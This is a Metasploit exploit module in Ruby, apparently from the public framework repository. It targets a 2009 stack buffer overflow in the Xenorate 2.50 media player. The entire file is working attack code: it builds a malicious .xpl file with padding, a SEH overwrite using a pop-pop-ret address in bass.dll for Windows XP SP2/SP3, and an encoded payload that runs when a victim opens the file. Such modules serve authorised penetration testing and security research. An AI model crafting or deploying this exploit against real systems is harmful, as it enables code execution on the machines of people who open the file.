modules/exploits/windows/fileformat/xenorate_xpl_bof.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Xenorate 2.50 (.xpl) Universal Local Buffer Overflow (SEH)',
'Description' => %q{
This module exploits a stack buffer overflow in Xenorate 2.50
by creating a specially crafted xpl file.
},
'License' => MSF_LICENSE,
'Author' =>
[
'hack4love <hack4love[at]hotmail.com>',
'germaya_x',
'loneferret',
'jduck'
],
'References' =>
[
[ 'OSVDB', '57162' ],
[ 'EDB', '10371' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
'DisablePayloadHandler' => true
},
'Payload' =>
{
'Space' => 5100,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
'DisableNops' => true,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2 / SP3', { 'Ret' => 0x1000a4fd } ], # pop pop ret => bass.dll v2.3.0.2
],
'Privileged' => false,
'DisclosureDate' => '2009-08-19',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.xpl']),
])
end
def exploit
sploit = rand_text_alpha_upper(88)
sploit << generate_seh_payload(target.ret)
sploit << payload.encoded
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(sploit)
end
end